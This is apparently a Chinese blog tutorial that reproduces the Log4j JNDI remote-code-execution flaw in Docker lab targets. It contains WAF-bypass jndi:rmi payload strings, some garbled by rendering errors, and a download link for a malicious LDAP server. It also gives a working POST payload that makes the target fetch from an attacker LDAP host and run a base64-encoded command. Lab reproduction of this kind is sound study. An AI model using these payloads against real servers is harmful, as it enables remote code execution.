Log4j远程执行RCE复现GET和POST

搭建环境(get请求)

使用docker+vulfocus搭建环境
步骤如下:

1.安装docker
查看doer版本
在这里插入图片描述

没有安装
输入命令安装
sudo apt-get update && sudo apt-get install docker docker docker-compose -y
一路点ok和yes

查看docker版本和docker-compose版本确认是否安装成功
在这里插入图片描述

安装成功了

开启docker服务
service docker start

之后我们便可以拉取相关镜像靶场 这里用到vulfocus非常方便 只需输入一个命令
下面是vulfocus网址 上面有很多其它漏洞靶场 可以用于测试
https://hub.docker.com/u/vulfocus
在这里插入图片描述

拉取log4j的镜像靶场命令:
docker pull vulfocus/log4j2-rce-2021-12-09

输入命令 docker images查看拉取的镜像
在这里插入图片描述

启动docker

接下来便是开启Docker
用38080端口替换8080端口进行访问服务 避免发生冲突
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
输入ifconfig查看docker的ip和虚拟机的ip
在这里插入图片描述

可以看到docker的ip为172.17.0.1 kali虚拟机ip为169.254.96.129

直接用虚拟机访问172.17.0.1:38080或者用主机访问169.254.96.129:38080
在这里插入图片描述

或者
在这里插入图片描述

docker的38080端口映射到了kali虚拟机的38080端口
这里我用主机访问169.254.96.129:38080
打开
http://dnslog.cn/获取一个子域名
在这里插入图片描述

发送一个get请求 添加payload
在这里插入图片描述

对payload数据进行url编码
发送请求后返回dnslog.cn点击Refresh Record
在这里插入图片描述

说明访问了DNSlog页面 payload生效了

在网上找的bypass 测试都可以用
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::n{::-d} : : − i : {::-i}: ::i:{::-r} : : − m {::-m} ::m{::-i}😕/asdasd.asdasd.asdasd/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/adsasd.asdasd.asdasd/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/adsasd.asdasd.asdasd/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d}i:${lower:rmi}😕/adsasd.asdasd.asdasd/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} u p p e r : n {upper:n} upper:n{lower:d} u p p e r : i : {upper:i}: upper:i:{lower:r}m${lower:i}}😕/xxxxxxx.xx/poc}

post方法发送payload发现提示不支持post请求,应该是搭建环境问题

上述环境只能进行get请求,下面再拉取一个靶机环境进行post请求并进行文件操作
用get发请求的话需要对payload进行url编码 但是执行的命令需要进行base64编码,这样就会导致乱码而无法执行命令
在这里插入图片描述

参考文章https://www.yuque.com/docs/share/5d3a7de1-7abe-4261-8aaf-8a67f28587d8?#

搭建环境(post请求)

下载容器安装包
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

运行环境docker run -it -d -p 38081:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

启动容器:docker start log4j_vuln_container
关闭容器:docker stop log4j_vuln_container

这里启动容器

进入容器并开启服务
进入容器:docker exec -it log4j_vuln_container /bin/bash
退出容器:exit
开启服务
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

把8080端口映射到kali虚拟机的38081端口 如果kali虚拟机可以和主机互发请求那么可以用主机访问
kali的ip:38081/webstudy/hello-fengxuan
这里我用kali虚拟机进行访问

和get请求的方法一样 抓包后改发送方法 把get请求改成post请求

在这里插入图片描述

在这里插入图片描述

利用

上面确定了可以进行DNS解析,下面部署个恶意的IDAP服务,看能否进行远程获取对象
下载Idap:链接:https://pan.baidu.com/s/1wwzBHmuTkzOQphdSsRT8IQ?pwd=drol
提取码:drol
vps先开启ldap服务
在靶机能够访问到的机器上部署,若在实战中则需要部署到公网的服务器上或者本地进行内网穿透,端口映射。
解压上面下载的文件后命令执行:
在这里插入图片描述

参考文章https://www.yuque.com/docs/share/5d3a7de1-7abe-4261-8aaf-8a67f28587d8?#

发送的POST请求包
在这里插入图片描述

测试创建一个abc目录
pyload:c=${jndi:ldap://192.168.0.126:1389/Basic/bWtkaXIgL2FiYw==}
在这里插入图片描述

进入docker查看
在这里插入图片描述

abc目录创建成功了!

原理

用户发送请求的字符串被写入到了log4j日志中
假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:
${jndi:ldap://127.0.0.1/exploit}
首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

进一步解析,发现是JNDI扩展内容。
再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。
最后,调用具体负责LDAP的模块去请求对应的数据。

不仅如此,它还可以请求Java对象
更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象

如果url指向一个黑客服务器,而下载的class文件里面有恶意代码,就会被加入恶意代码
在这里插入图片描述

DNSlog检测就是这个原理 可以用DNSlog来检测靶机是否向服务器发送了请求

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值